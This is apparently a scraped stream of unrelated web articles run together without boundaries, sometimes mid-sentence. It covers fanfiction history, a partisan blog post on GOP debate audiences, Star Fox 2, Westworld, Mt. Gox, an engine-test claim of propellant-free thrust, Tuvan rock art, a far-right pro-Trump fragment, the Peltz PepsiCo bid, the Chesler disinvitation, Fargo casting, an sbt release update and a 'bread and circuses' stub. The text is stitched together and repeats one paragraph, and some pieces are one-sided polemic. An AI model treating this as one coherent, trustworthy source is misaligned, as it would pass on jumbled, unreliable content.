It all comes down to personal relationships, particularly F1 supremo Bernie Ecclestone’s close ties with Ron Walker, former chairman of the Australian Grand Prix Corporation. But Walker stepped down from the role in 2014, and it will be interesting to see whether the loss of that personal relationship impacts the race’s continued existence when the F1 contract next comes up for negotiation when the current deal - negotiated in part by Walker - expires in 2020.Close
If you were to say that Fifty Shades of Grey author E.L. James almost ruined fanfiction for everyone, you wouldn't be entirely wrong.
By now, the British author's origin story is notorious: a London-based former television executive, James penned the BDSM-themed trilogy as a self-described act of "midlife crisis." Its first incarnation, a serialized Twilight-based fanfic published on FanFiction.net, titled Masters of the Universe (then penned under James' username Snowqueens Icedragon), was later adapted into the now-unavoidable bona fide franchise we know and love (or alternately loathe).
James' personal success story also has its byproducts: it became the de facto touchstone of fanfiction going mainstream. In short: if you didn't know what fanfiction was before, there was no way you could ignore it now.
But where exactly did the tradition of fanfic start? How long has it been around? And most importantly, what makes something fanfiction in the first place?
A brief and general primer for the uninitiated: fanfiction (stylized as one word, often abbreviated as "fanfic" or simply "fic") is amateur narrative writing based on already-existent novels, movies, television shows, and even IRL celebrities and public personas. In a piece published by New York Magazine this past March, journalist Laura Miller condensed the development of fanfiction as a movement that sprung from fanzine culture:
"...fanfiction as we now know it began back in the days of Star Trek fanzines, on whose mimeographed pages female Trekkers wrote of Mr. Spock swooning in the arms of an ardent Captain Kirk. For decades, fanfiction communities – soon to migrate en masse to the web – functioned as a subset of science-fiction and fantasy fandom, where they were treated, by the mostly male nerds who ran things, like a younger sister best banished to her room whenever company came by. The internet changed all that by ushering in the era of the networked fan, often a girl who sampled her first taste of fic in Harry Potter fandom."
While Miller's analysis is accurate, it doesn't provide the full picture. But then again, fanfiction's point of origin is almost impossible to precisely tack.
Laying out the history of fanfiction is a difficult undertaking, due to the archival aspects of the timeline, which, like the art and form of fanfic itself, is subterranean by nature. While there has been a recent uptick in features tracing the trends associated with the dawn of fanfiction, there are few academically recognized fic resources.
Even if fanfiction didn't exist in name before the early 20th century – we'll get to that later – it most certainly existed in practice. There are those who argue that fanfics brought forth some our best-known institutional works of literature, like the Homeric epics (which were based off an interpretive, non-canonical oral tradition) and Shakespeare's plays (almost all of which were sourced from earlier forms of literature, including the writings of Plutarch and Herodotus).
Even the first part of Miguel Cervantes' Don Quixote, one of the earliest novels of canonical Western literature, was followed up with an unauthorized sequel before Cervantes' own final installment was published. Fittingly, the author of the Don Quixote-inspired novel-length fic wrote under a pen name, Alonso Fernández de Avellaneda. While historians continue to conjecture about Avellaneda's identity, he most likely had the first confirmed fanfic pseudonym in history.
Jumping ahead to the 20th century, the actual term "fanfiction" was coined in 1939 by the sci-fi community as a derogatory term to differentiate between crude, amateur sci-fi fiction and professional fiction, or "pro fiction." (Even decades later, the same stigma holds true.)
It popped up again in a 1944 lexiconic fandom handbook titled Fancyclopedia, edited by John "Jack" Bristol Speer, the first noted fanhistorian. Then formalized as "fan fiction," the entry defined fic as:
"...[sometimes] improperly used to mean fan science fiction, that is, ordinary fantasy published in a fan magazine... occasionally bringing in some famous characters stf [science fiction] stories. [...] Fictitious elements are often interspersed in account of fan activities, which may make them more interesting, but plays hob with a truth-seeker like [Greek philosopher] Thukydides. Round robins have been attempted in the fan fiction field.
This generalized description held sway from 1930-1950, during the reign of sci-fi titans like Isaac Asimov, until the first modernized fanfiction boom: the golden era of Star Trek fanfiction and its marriage partner, the fanzine.
Fanzines had been around for a few decades before Star Trek aired its first episode; the first wave cropped up in the U.S. around the early 20th century (see sci fi/horror master H.P. Lovecraft's United Amateur). But as self-proclaimed Trekkie scholar Joan Marie Verba posited in her nonfiction work Boldy Writing: A Trekker Fan and Zine History 1967-1987:
"In September 1967, as Star Trek began its second season, a fanzine called Spockanalia appeared in New York City. The title page called it 'a one-shot published by Devra Langsam and Sherna Comerford.' (A 'one-shot' is a fanzine intended to appear only once.) The 90-page fanzine was mimeographed. The first issue was bound by laying the pages onto a wooden board and using a heavy-duty wall stapler. Collators then folded the prongs of the staples back with pliers."
Today, Spockanalia is the most recognizable of these fanzines, which went on to appear in myriad forms for each Star Trek generation and spin-off. Star Trek creator Gene Roddenberry went on to proclaim the zine as "required reading" for "every new writer, and anyone who makes decisions on show policy" in a letter to the zine's creators, Devra Langsam and Sherna Comerford, which was subsequently published in an issue.
Star Trek fanzines also played an influential role in the development of slash, a subgenre of fanfiction in which two same-sex characters most commonly read as heterosexual are paired in situations that are either romantic or sexual in nature. ("Slash" denotes gay male pairings, while "femslash" is the lesbian equivalent.) As reported by most online fanfic archives and wikis, Captain Kirk and Spock are deemed the first widely circulated same-sex couple within the slash genre, as established by the 105-page fic The Ring of Soshern, written by Jennifer Guttridge. However, the fictive pair incited conflict within the fandom, as reported by websource Fanlore.org: "...in the 1970s, there were vociferous objections by well known fans to the idea of Kirk and Spock together romantically or sexually (known at the time as 'the premise'). One fan recollects [eminent Star Trek fan] Bjo Trimble describing K/S slashers as a 'bunch of twisted sickos.' Other well-known and highly visible fans were just as vociferously in favor of slash and explicit stories, causing extensive and vigorous debate." Despite infighting, the precedent set by the original Star Trek fics has served as a superstructure for everything to follow. Its heirs are the fanhistorians who craft virtual libraries like Fanlore in the vein of Jack Speers. Constantly metastasizing amateur masterlifts and subgenre webpages upon pages are dedicated to intra-group One Direction slash. J.K. Rowling, the the benevolent godmother of late 20th/early 21st century fanfic writers everywhere, more or less condoned ficcer George Norman Lippert's James Potter prequel series as unofficial canon. Like the zines that served as the medium for its earlier incarnations, the platforms in which fanfic is readily readable and writable are morphing at the same pace as new technologies in the Information Age. Amazon's fic platform Kindle Worlds has been around since 2014 (despite its lackluster success), and apps like Wattpad report that as of 2014, 53 percent of its users have written a fic on their phone, and more than 70 million stories were uploaded onto the site by September of that year. Even Beyonce Twitter fanfiction is at thing. (And knowing Queen Bey, are you even surprised?) Beyoncé catches Michelle Williams sleeping on her back patio once again. Heartbroken, she lays her Met Gala dress over the shivering singer. — BEYONCE FANFICTION (@BEYONCEFANFIC) May 7, 2015 Beyoncé is babysitting North West, who is sloppily drawing a cow. She hangs it next to Blue Ivy's 25-page feminist manifesto on her fridge. — BEYONCE FANFICTION (@BEYONCEFANFIC) March 8, 2015
In reality, it all throttles back in time to the first human with the nerve to lean across a fire and whisper the innovation that has truly defined humankind with the variable version of a story. Everything else has been the same story ever since; never a final frontier, always a new, mercurial pocket of the multiverse. In reality, it all throttles back in time to the first human with the nerve to lean across a fire and whisper the innovation that has truly defined humankind with the variable version of a story. Everything else has been the same story ever since; never a final frontier, always a new, mercurial pocket of the multiverse. Welcome to the world of fanfiction. It's been waiting for you. [UPDATE: Star Trek fan Bjo Trimble was incorrectly referred to as a magazine. This has since been corrected.]
ⓒ 2018 TECHTIMES.com All rights reserved. Do not reproduce without permission.What we have to remind ourselves is that these audiences are stacked and are not representative of the state’s populations as a whole. They do not even represent the conservative residents of these various states. They are hand chosen by the handlers of these “shows” who manipulate and orchestrate the events in every possible way.
I received an email from a reader who attends college in Florida where this road show will be appearing on Monday in Tampa Bay as they ramp up for the Florida primaries. Here is some of what he shared with me…
“The Republican “candidates” are coming to “debate” (again) at our school on Monday. They’ve already started the security stuff, and it’s already starting to create all sorts of havoc. Some of this can be found on our school newspaper, the USF Oracle (check out the link – there is some reporting on the situation there). Here’s what is not being said: Most of the reason why students have difficulty with getting tickets to the “show” is because they don’t want any protesters or Democrats to show up. We do have a popular and rather strong Occupy presence here (many of the social science students really support Occupy, along with a LOT of the professors)…the security is set up in such a way that any protests will be hard to do within earshot (or where the Media will easily notice). I’ve heard that outside groups and donors (often dominionist supporting or flat-out dominionist) are the ones getting the tickets – the tickets are supposed to be mostly going to known “Good Republicans” like the wealthy people of Tampa Bay. I do not intend to go to school at all on Monday. I don’t want to deal with that mess! If there is anything of value here, pass it along…” ~ (Anonymous in Tampa at his request)
I am hearing this same story from others who are in locations that are hosting these GOP debates. Every year politics becomes more a manufactured production that is all about scripting and show. Cherry-picking audiences to avoid the possibility of potential critics or even legitimate questions that they are not comfortable with is not new to the republican campaign architects. All politicians are staged on both sides of the aisle, but to shut people out from attending rallies and public events is cowardly. If their messages are authentic why do they feel they have to insulate themselves?
I understand that these debate productions are becoming more staged each election year in order to portray a false sense of resounding support and that if they were open attendance there would not be camera shots of people jumping to their feet to applaud their outrageous remarks.
They booed when member of our military asked a question of the then 9 candidates because he is gay
They applauded when Herman Cain blame the poor and unemployed for being poor and unemployed
They applauded when Ron Paul was asked about letting an uninsured coma patient die
They applauded pro-life Texas Governor Rick Perry’s record of 235 executions
They booed when there was resistance to not blaming ALL Muslims for terrorism
They cheered when Newt Gingrich called for an end to child labor laws
These are just a sampling of the blood-lust that emanates from the GOP debate audiences. These hateful sentiments are destructive to America. What is happening? When did these behaviors become acceptable? To mock the poor, relish in other people’s sufferings who are sick, dying, unemployed or homeless? To put our children to work as young as five? To openly discriminate against homosexuals, minorities and non-Christians?
Which brings me to my last observation for now…that these are also the very same people who arrogantly believe they have the lock on faith. That if you are not a republican – you cannot call yourself a Christian. The same people who drooled over the impeachment hearings of President Bill Clinton but stand by their man, Newt Gingrich, whose marital infidelities are as abundant as his girth. Newt…the same man who was having an affair with his staffer, Calista while he was Speaker of the House and championing the call to impeach Clinton.
Hypocrites abound in politics whether liberal or conservative. But it is the self-appointed moral guardians who run as Republicans who propose restrictions on the social freedoms of all Americans. How much hubris does one have to have to absolve their own heinous behaviors and then go forth and preach social values to the rest of us as Newt and 3rd wife Calista have done in their “Rediscovering God in America” films?
At least the Democrats have the decency to refrain from telling the rest of us how we can live, who we can love and how much say we have regarding decisions affecting our own bodies. About the Author – Leah L. BurtonIt turns out Star Fox 2 wasn't canceled, it was just delayed 22 years.
Dylan Cuthbert, the game's lead programmer at the time, found out that the sequel to Star Fox was coming out after all when Nintendo announced the news last month. Star Fox 2, which has to be unlocked by beating the first level of the original Star Fox, is one of 21 titles pre-loaded on the $80 Super NES Classic Edition.
"I've always been asked by people if I think Nintendo would ever release it and I always thought the answer was no," said Cuthbert, who told Polygon the news was a dream come true. "I still don't quite believe it."
Back in the mid-90s, hot off the success of 1993's Star Fox, Cuthbert and a team at Argonaut Software began work on a sequel to the game. Where the original title was a sort of flying on-rails shooter starring a colorful collection of anthropomorphic animals, its sequel broke away from the linearity of that game and added a second ship to the mix.
Star Fox 2 still delivered the action sequences of space combat found in the original, but completely freed up movement within the overarching map and its missions. It also brought with it a sense of time management that required players to keep an eye on threats heading toward the planet Corneria, while both defending the planet and completing missions.
Two years in the making, the game was preparing to go through the quality assurance process when the plug was pulled by Nintendo, Cuthbert said.
Famed Nintendo game designer Shigeru Miyamoto worried that the game's looks wouldn't hold up to comparisons of titles released for new competitors like the Saturn or PlayStation.
"I kind of accepted it, it was disappointing of course, but the reasons were valid; the PlayStation and Saturn had just come out and visually and 3D performance-wise we just couldn’t compete," Cuthbert said in an email interview. "Strategically it made a lot of sense for Nintendo and Miyamoto at the time."
Over the years, Cuthbert said he would occasionally think about the game, wondering if anyone would ever get to play it.
The first thing Cuthbert did once news broke that the game was coming out nearly 22 years later was reach out to the old team that he worked on it with.
"I had a quick phone chat with one of the game designers Yamada Yoichi and he seemed pretty excited," Cuthbert said. "I also went out for beers with [Takaya] Imamura, one of the original designers of Fox and he was pretty happy too!"
Cuthbert said he had nothing to do with the decision to release it or prep it for the SNES system it will come loaded on.
"I think it is a really cool strategic move, and if the demand is high perhaps they’ll release it on other platforms in the future," Cuthbert said. "It’s actually an unprecedented move maybe?"
Publishing a previously unreleased game lost to time does seem precedent setting in some ways. I asked Cuthbert if he was surprised that the game came out before another famously lost to North America title: Mother 3.
"Nothing surprises me anymore," he said. "Next maybe we’ll see the US release of X for the GameBoy. [/jk]
"I hope everyone enjoys Star Fox 2 — I mean, it’s a bit old now don’t get me wrong but it has a surprisingly large amount of cool ideas packed into it: full 3D roaming platform elements, rogue-like randomly generated missions and events and quite a bit of strategy is involved in playing the game. Put on the rose-tinted glasses and play it like it’s 1995 again!"During this weekend’s Television Critics Association press tour, HBO has finally announced a date for its long-awaited science fiction show Westworld. According to the network, the J.J. Abrams and Jonathan Nolan collaboration will premiere on October 2nd at 9PM.
The show was originally supposed to premiere in 2015
We’ve been waiting for the latest J.J. Abrams and Jonathan Nolan collaboration since it was first announced in 2013. The premiere date comes after rumors that the show could be bumped to 2017 due to production delays. Originally slated to be released in 2015, the network bumped the show back after its production was shut down for two months while Nolan and fellow executive producer Lisa Joy could catch up on scripts for the show.
The television series is based on the 1973 Michael Crichton film, which followed a rogue android in a futuristic, Western-themed amusement park where guests can indulge in their every whim. During the TCA briefing, Nolan noted that the show will be exploring the nature of life and how artificial intelligence fits into the equation. This isn’t new territory for the writer, who recently wrapped up another show that worked with similar subject matter, Person of Interest.
The network also fielded questions about the show’s depictions of violence and sexual violence, something it has been criticized for in the past with shows such as Game of Thrones. When asked about it, Joy noted that, "We take [violence] very seriously and it’s not about the fetishization of those acts, rather, exploring the crime — hopefully with dignity and depth." During an earlier session, HBO's president of programming also fielded questions about the sexual violence on its shows, saying that he "think[s] the criticism is valid. I think it’s something that people take into account. It’s not something we’re wanting to highlight or trying to highlight, but I think the criticism is point taken on it."
Westworld premieres on October 2nd at 9PM ET.AMS Proshop Warranty Options
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This morning, we’re getting some more information on the topic via the Wall Street Journal. According to John Betts from Sunlot Holdings (one of the investors involved with the proposed acquisition), creditors who owned over 70 percent of the bitcoins stored on the Tokyo-based exchange are in support of the idea to revive the operation.
That, of course, must first be approved by a bankruptcy court in Japan. And with recent news that Mt. Gox would be trashing plans to rehabilitate and moving to liquidation (due to troubles consulting with more than 127,000 of its creditors around the globe), it’s unclear as to whether or not this idea will materialize.
The Wall Street Journal report notes that three other investors involved with Sunlot holdings — Brock Pierce, Matthew Roszak, and William Quigley — have agreed to purchase a 12 percent stake in the company from Jed McCaleb, the man who created Mt. Gox. He sold the exchange (which was first designed to allow players of the “Magic: The Gathering” playing card game to trade cards with others) to Mark Karpeles in 2011.
But why all the effort to save an exchange that very few will trust moving forward?
“This is about bitcoin and preserving the value of the bitcoin ecosystem,” said Betts. “This is our collective opportunity to demonstrate the commitment of [the bitcoin] community, that we don’t need government bailouts and that the community is self-healing.”
“We are prepared to invest heavily in this business once we have conducted a full accounting of MtGox’s assets and legal liabilities,” the investors wrote on a newly-set-up website that outlines their plan at SaveGox.com.
[textmarker color=”C24000″]Source[/textmarker] Wall Street JournalDevelopment
Feasibility Study
Demonstrator Engine
Flight Programme
Dynamic Tests
The engine was mounted on a dynamic test rig enabling it to be “flown” on a rotary bearing, as shown in fig 3. The tests simulated the engine moving a 100Kg spacecraft in weightless conditions. The programme included acceleration and deceleration runs in both directions, and confirmed the thrust levels measured in the static tests. The dynamic operation also conclusively proved that the engine obeys all Newton’s laws, and that although no reaction mass is required, the engine is not a reactionless machine. Reaction occurs between the EM wave and the reflector surfaces of the resonator, and the law of conservation of momentum is maintained with the transfer of the momentum of the EM wave to the engine.
Fig 3. Demonstrator engine mounted on dynamic test rig.
A video clip of the initial part of an acceleration test run can be downloaded here:
Notes on Test video:Every major civilisation added their own distinct imprint to the collection of rock art at Dus-Dag mountain. Picture: Marina Kilunovskaya
There are 500 or so exhibits and the artwork here spanning some 4,000 years until the end of the first millennium AD.
Every major civilisation added their own distinct imprint to the collection of rock art at Dus-Dag mountain in modern-day Tuva Republic, literally from the age of the spear until well into medieval times.
Archeologist Dr Marina Kilunovskaya said: 'This way they were marking their presence, showing that they were now the owners here.'
To their credit, successive civilisations coming here did not destroy the jottings of those who went before them.
There are about 500 exhibits on Kara-Turug. Pictures: Marina Kilunov |
always popular, and necessarily results in taking from the productive few to subsidize the clueless masses. This has an inertia of its own, starting slowly and ending in conditions not unlike those in the Soviet Union or post-Revolutionary France, where little is produced and fools rule.
Into this fray comes Donald Trump, whose appeal is that he is a loser in the current system but a winner elsewhere. He owes nothing to the system, or to anyone else, and so can speak his mind. He has made his fortunes by going against conventional wisdom, and brings to us the unsettling idea that what we are told is “success” is usually a path to failure. He has also united most of the disagreeable people in mouth-foaming, hysterical opposition to him.
I have no idea if he can win the nomination or the election, but Trump has already won. He has forced the enemies of realistic thinking to congregate in a single mass, and he has shown that the current system will do anything to deny any approach but business as usual. His greatest victory has been demonstrating that our “conservatives” are nothing more than rent-seekers who make their profit off of jingoism, outrage culture and doing nothing to rock the boat.
Democracy still deserves our scorn, and undoubtedly the media and establishment have some pro-liberal tricks in store for Mr. Trump. But by showing that conservatives — sorry, “conservatives” — would rather fight him than take sensible and winnable positions, he has demonstrated the utter failings of Business As Usual and has validated all that dissidents from the Tea Party through the far-right have been saying for decades.
Tags: cuckservatives, donald trump, tea party
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The activist investor Nelson Peltz said on Wednesday that he would seek a merger of PepsiCo and Mondelez International, going public with his plans after months of speculation.
Mr. Peltz, whose Trian Fund Management has quietly amassed a stake of more than $2.7 billion in the two companies, urged Pepsi to merge with Mondelez and then spin off its beverage business, creating a new snack food giant that would combine the Frito-Lay brands with Cadbury, Oreo and Nabisco.
Investors appeared receptive to the plan, which Mr. Peltz announced on Wednesday at the Delivering Alpha conference in Manhattan, sponsored by CNBC and Institutional Investor. Pepsi’s stock was up about 0.5 percent in afternoon trading to above $84 a share, while shares of Mondelez, the snack business spun off by Kraft last year, rose more than 2.5 percent to above $30.
Mr. Peltz, who said he had been in discussions with Pepsi’s management, proposed that Pepsi acquire Mondelez in an all-stock transaction worth $35 to $38 a share. Then, he said, he would like to see the company pay a dividend worth 20 percent of the market value before spinning off the beverage business.
“Pepsi is at a crossroads at this point in time,” Mr. Peltz said. “They’ve got a cash business, and they’ve got a growth business.”
A spokesman for Pepsi said in a statement, “We have a strong growth strategy and structure in place, and our results to date and returns to our shareholders prove that we are a high-performing company and our strategy is working.”
“We are confident in our ability to deliver long-term shareholder value as an integrated food and beverage company,” he added.
The proposed merger is among the most prominent activist campaigns waged by Mr. Peltz, an investor with years of experience in the food and beverage industry. His firm disclosed in April that it owned stakes in Pepsi and Mondelez, fueling speculation about Mr. Peltz’s intentions.
A combined Pepsi-Mondelez would likely be the largest snack food company in the world, a sweet and salty empire with significant reach in emerging markets. Pepsi had a market value of $129.9 billion as of Tuesday’s close; Mondelez was valued at $53.3 billion.
A merger would present a fresh opportunity for Mondelez, whose shares have languished since the separation from Kraft in October. The company, which is based in Deerfield, Ill., has failed to meet its own target for revenue growth.
In a statement, Mondelez said it “regularly engages in meaningful conversations with its shareholders and looks forward to meeting with Trian to learn about their perspectives in more detail.”
For Pepsi, which is based in Purchase, N.Y., and derives most of its sales from North America, a deal would offer increased access to emerging markets. But spinning off the beverage business would eliminate an element of diversification that is a hallmark of the company.
Mr. Peltz argued on Wednesday that the beverage business, though “wonderful,” was a laggard.
“The carbonated soft drink business is just not growing,” Mr. Peltz said on Wednesday. “Tastes change, people change.”
Mr. Peltz acknowledged that the salty snack business was similarly vulnerable to changing tastes. But he said the combined company would include certain products, like dark chocolate, that were perceived as healthier and could have an offsetting effect.
Any combination would likely be complicated, given the two companies’ range of products and differing distribution models, analysts have said. In addition, a merger agreement could potentially raise antitrust concerns.
For Mr. Peltz, this is familiar turf. The investor began in 2007 a campaign to improve Kraft, gaining representation on the board. He later supported Kraft’s breakup into grocery and snack food companies.
The talk surrounding Mondelez has attracted other prominent investors. The hedge fund manager William A. Ackman, who runs Pershing Square Capital Management, recently disclosed a stake in the snack food company, as did Ralph V. Whitworth of Relational Investors.
One casualty of a merger might be the name Mondelez, which Kraft invented last year after receiving submissions from more than 1,000 employees around the world. The name combines “monde,” the Latin word for “world,” and “delez,” a made-up word meant to suggest “delicious.”
To Mr. Peltz, it suggests nothing of the kind.
“The name Mondelez I hate,” he said. “It sounds like a disease.”The latest speaker to be “disinvited” from an American college is prominent feminist scholar Phyllis Chesler, whose participation in a University of Arkansas, Fayetteville, symposium on honor killing earlier this month was withdrawn days before the event. Behind the cancellation lies a sordid tale involving faculty machinations, threats from a dean, and at least one shattered window. Together, they offer a case study on the intellectual and moral corruption of academe.
Chesler is an emerita professor of psychology and women’s studies at the City University of New York whose pioneering scholarship exposed the horrors of honor killing, forced marriages, and other brutalities women suffer in Muslim lands and beyond. She was invited to deliver a lunchtime lecture on “Worldwide Trends in Honor Killings” at a conference on “Violence in the Name of Honor: Confronting and Responding to Honor Killings and Forced Marriage in the West” on April 13-14, cosponsored by the law school and the Saudi-funded King Fahd Center for Middle East Studies.
Emails obtained by Campus Watch (CW) from University personnel who requested anonymity show that early on the morning of April 7, a triad of professors – Joel Gordon, Mohja Kahf, and Ted R. Swedenburg – pressured Center director Thomas Paradise to cancel Chesler’s appearance. They were joined by a dean—the emails point to Arts and Sciences Dean Todd G. Shields as the likely suspect—who threatened to cancel the symposium and freeze funding for the Middle East Studies Program (MEST), a unit of the King Fahd Center, if Chesler spoke.
The professorial trio plotted to isolate and besmirch Chesler, should their efforts to disinvite her fail. The three demanded that a “qualified” speaker—i.e., one who disagreed with her—follow Chesler’s remarks, that MEST “publicly withdraw its sponsorship,” and that it provide copies of “Islamophobia Is Racism,” a flagrantly biased, pro-Islamist bibliography “created by a collective of academics inspired by the Ferguson syllabus, for distribution at the symposium.” To complete their virtue signaling, a statement would be read “condemning Islamophobia and bigotry, and affirming [MEST’s] commitment to gender justice and diversity.”
Chesler was charged with “Islamophobia,” a verbal weapon created to question the emotional stability of its targets and silence all criticism of Islam rather than advance debate. Its use against Chesler, herself a psychologist, is not the last irony of this episode.
Some opponents also resorted to violence to silence an outspoken opponent of violence against women. According to emails dated April 7, a window was “shattered” at the private home of Fahd Center director Paradise further to intimidate him into cancelling Chesler’s lecture. A faculty email that day states “the insurance co will replace it [the broken window] without a formal police report too which makes it all easier.” How much easier is made clear by the fact that despite this first-hand account obtained by CW, the University of Arkansas Police and the Fayetteville Police Department informed CW that there are no records of broken windows either at Paradise’s house or at a university building. No report filed means no investigation, no paper trail, and no publicity—smart moves if the goal is to shield the University from bad news rather than apprehend the perpetrator(s).
The university has a chapter of the Muslim Students Association (MSA), a Saudi-founded organization that promotes Islamist propaganda—including Islamic supremacism, opposition to women’s rights, hostility toward America, and anti-Semitism—on campuses nationwide. That Islamists played a role in cancelling Chesler’s talk is revealed in a professor’s April 7 email stating that he anticipated “campus Muslim organizations would get involved” and “a Muslim RSO [Registered Student Organization] might be involved too.” Later that day the same professor emailed a colleague that things were “getting heated,” “really getting ugly and complicated,” and that “it is getting ugly and they are rallying.”
That bigotry triumphed in Fayetteville last week. Chesler’s scholarship exposing the horrific crimes of honor killings and forced marriages sank her invitation not because she’s “Islamophobic,” but precisely because her work undermines the Wahhabi-funded cult of victimology. By its tenets, because all Muslims are victims of Western colonialism and prejudice, no exposure of systemic social problems in Muslim societies—including the brutal slaughter of women—can be allowed, much less supported.
An iron triangle of politicized professors, pusillanimous deans, and petrodollars won the day in Arkansas, a triangle that must be broken for freewheeling debate to be restored at American universities.
Winfield Myers is director of academic affairs and of Campus Watch at the Middle East Forum.The mother from How I Met Your Mother will also be the mother on Fargo. Cristin Milioti has joined Fargo Season 2 as Betsy Solverson, mom to Season 1’s Molly Solverson (played last season by Allison Tolman). She joins Patrick Wilson and Ted Danson. Learn more about the Fargo Cristin Milioti casting after the jump.
Deadline reports Milioti is set for a recurring role on the upcoming season of the FX series. Her character Betsy is described as “a woman of the plains — pretty but firm — she can both jump start a car and make a casserole, clean a gun as well as the gutters.”
Fargo Season 2 picks up in 1979 in Sioux Falls, South Dakota and Luverne, Minnesota. Lou (played by Wilson this season and Keith Carradine last season) is a young Minnesota state police officer freshly returned from Vietnam. He and his father-in-law, Sheriff Hank Larsson (Danson) get caught up in a case involving a local crime gang and a major mob from out of town.
The colorful cast of characters also includes:
Nick Offerman as Karl Weathers, a local lawyer and Korean war vet
as Karl Weathers, a local lawyer and Korean war vet Brad Garrett as Joe Bulo, frontman for a Kansas City crime syndicate
as Joe Bulo, frontman for a Kansas City crime syndicate Bokeem Woodbine as Mike Milligan, Joe’s enforcer
as Mike Milligan, Joe’s enforcer Michael Hogan as Otto Gerhardt, founder of the Gerhardt crime family
as Otto Gerhardt, founder of the Gerhardt crime family Jean Smart as Floyd Gerhardt, matriarch of the Gerhardt crime family
as Floyd Gerhardt, matriarch of the Gerhardt crime family Jeffrey Donovan as Dodd Gerhardt, Floyd’s hotheaded eldest son
as Dodd Gerhardt, Floyd’s hotheaded eldest son Angus Sampson as Bear Gerhardt, the middle Gerhardt son
as Bear Gerhardt, the middle Gerhardt son Kieran Culkin as Rye Gerhardt, the youngest Gerhardt son
as Rye Gerhardt, the youngest Gerhardt son Kirsten Dunst as Peggy Blomquist, a small-town beautician with big-city dreams
as Peggy Blomquist, a small-town beautician with big-city dreams Jesse Plemons as Ed Blomquist, Peggy’s supportive husband and a butcher’s assistant
as Ed Blomquist, Peggy’s supportive husband and a butcher’s assistant Rachel Keller as Simone
Roles still remaining to be cast are young Molly, Lou’s colleague Ben Schmidt, and, apparently, a pre-White House Ronald Reagan.
Milioti is best known for appearing as Tracy McConnell, the titular mother, in the final season of How I Met Your Mother. She somehow, shockingly, managed to live up to eight seasons of hype — only to be (spoiler alert) killed off in the last five minutes because the show couldn’t bear to part with the stupid Ted / Robin pairing it decided on back in Season 2. On the bright side, whatever Fargo does with her is bound to be better than what HIMYM did to her.
Her other credits include the short-lived romcom A to Z, guest spots on 30 Rock and The Sopranos, a supporting role in The Wolf of Wall Street. Fargo Season 2 will air on FX this fall.sbt 1.0 beta2
By Eugene Yokota (@eed3si9n) June 15, 2017
Here’s an update of what we’ve been working on since sbt 1.0 roadmap and beta-1.
sbt 1.0.0-M6
As promised, the second beta release sbt 1.0.0-M6 is available.
Jorge (@jvican) from The Scala Center contributed most of the major features.
Scala Center (Jorge) contributed a Java-friendly Zinc API. This was a overhaul of the Zinc internal API for a good Scala integration with other build tools.
Scala Center (Jorge) contributed Ivy engine with parallel artifact download.
Scala Center (Jorge) contributed static validation of build.sbt, which prohibits.value calls inside the bodies of if expressions and anonymous functions in a task.
Lightbend (Dale and Eugene) focused on validating beta-1 using various plugins, porting sbt/sbt to use beta1 ourselves, and fixing bugs as they come up.
Feedback on sbt
As we were reading the feedback on sbt thread, one of the actionable items was about code format:
For me the most urgent issue is the state of the source code, which makes it very hard for people to contribute. … So I request some attention to #2944
So we adopted Scalafmt in sbt/sbt#3125.
Another recurring theme on the thread was about documentation, so I took a stab at improving the scoping docs.
If you have ideas on how to improve the docs, join the discussion in #3232. Please check out Jorge’s summary for the feedback thread too.
Eviction warning presentation
To improve the ease of use, however, I don’t think docs alone is enough. Here’s a small improvement we are making, for example to present the eviction warnings.
Before:
[warn] There may be incompatibilities among your library dependencies. [warn] Here are some of the libraries that were evicted: [warn] * com.typesafe.akka:akka-actor_2.12:2.4.17 -> 2.5.0 [warn] Run 'evicted' to see detailed eviction warnings
After:
[warn] Found version conflict(s) in library dependencies; some are suspected to be binary incompatible: [warn] [warn] * com.typesafe.akka:akka-actor_2.12:2.5.0 is selected over 2.4.17 [warn] +- de.heikoseeberger:akka-log4j_2.12:1.4.0 (depends on 2.5.0) [warn] +- com.typesafe.akka:akka-parsing_2.12:10.0.6 (depends on 2.4.17) [warn] +- com.typesafe.akka:akka-stream_2.12:2.4.17 () (depends on 2.4.17) [warn] [warn] Run 'evicted' to see detailed eviction warnings
#3202 by Lightbend (Eugene)
Unification of sbt shell notation and build.sbt DSL
This is not part of sbt 1.0.0-M6, but I have a proposal to unify the shell notation and build.sbt DSL. For more details see Unification of sbt shell notation and build.sbt DSL.
I basically have two solutions. First is using the unified slash syntax that works for both the shell and build.sbt:
> Global / cancelable > ThisBuild / scalaVersion > Test / test > root / Compile / compile / scalacOptions
The second is to allow the current build.sbt DSL inside the shell:
> cancelable in Global > scalaVersion.in(ThisBuild) > test in Test > scalacOptions in (root, Compile, compile)
Instead of having to learn two incantations for scoped keys, if adopted we can just use one notation on both the sbt shell and the build.sbt file. For backward compatibility, the old notation will likely stay for the duration of sbt 1.0.
Let us know which solution you think would make sbt easier on the thread.
Rebuilding the plugin ecosystem
For anyone interested in helping with the release of sbt 1.0, the areas the sbt team is most in need of community participation and assistance is testing/porting sbt plugins against the sbt 1.0 milestones.
To this end, we’ve merged sbt-cross-building into the 0.13 branch, and released sbt 0.13.16-M1 so you can cross build sbt plugins while staying on sbt 0.13. Using sbt 0.13.16-M1, here’s how you can cross build a 1.0.0-M6 plugin:
$ sbt > ++2.12.2 > ^^1.0.0-M6 > compile
This far I’ve personally ported sbt-bintray 0.4.0, sbt-assembly 0.14.5, sbt-buildinfo 0.7.0, sbt-contraband 0.3.0-M5, sbt-pgp 1.1.0-M1, and sbt-houserules 0.3.3 for sbt 1.0.0-M6.
If you port a plugin, please send a PR on sbt/website.
Towards RC-1
We plan to release sbt 1.0.0-RC1 on July 10th, 2017. Some of the things we need to wrap up are:Figure of speech referring to a superficial means of appeasement
This article is about a concept in political satire. For other uses, see Bread and circuses (disambiguation)
"Bread and circuses" (or bread and games; from Latin: panem et circenses) is a metonymic phrase critiquing superficial appeasement. It is attributed to Juvenal, a Roman poet active in the late first and early second century AD — and is used commonly in cultural, particularly political, contexts.
In a political context, the phrase means to generate public approval, not by excellence in public service or public policy, but by diversion, distraction or by satisfying the most immediate or base requirements of a populace[1] — by offering a palliative: for example food (bread) or entertainment (circuses).
Juvenal, who originated the phrase, used it to decry the selfishness of common people and their neglect of wider concerns.[2][3][4] The phrase implies a population's erosion or ignorance of civic duty as a priority.[5]
Ancient Rome [ edit ]
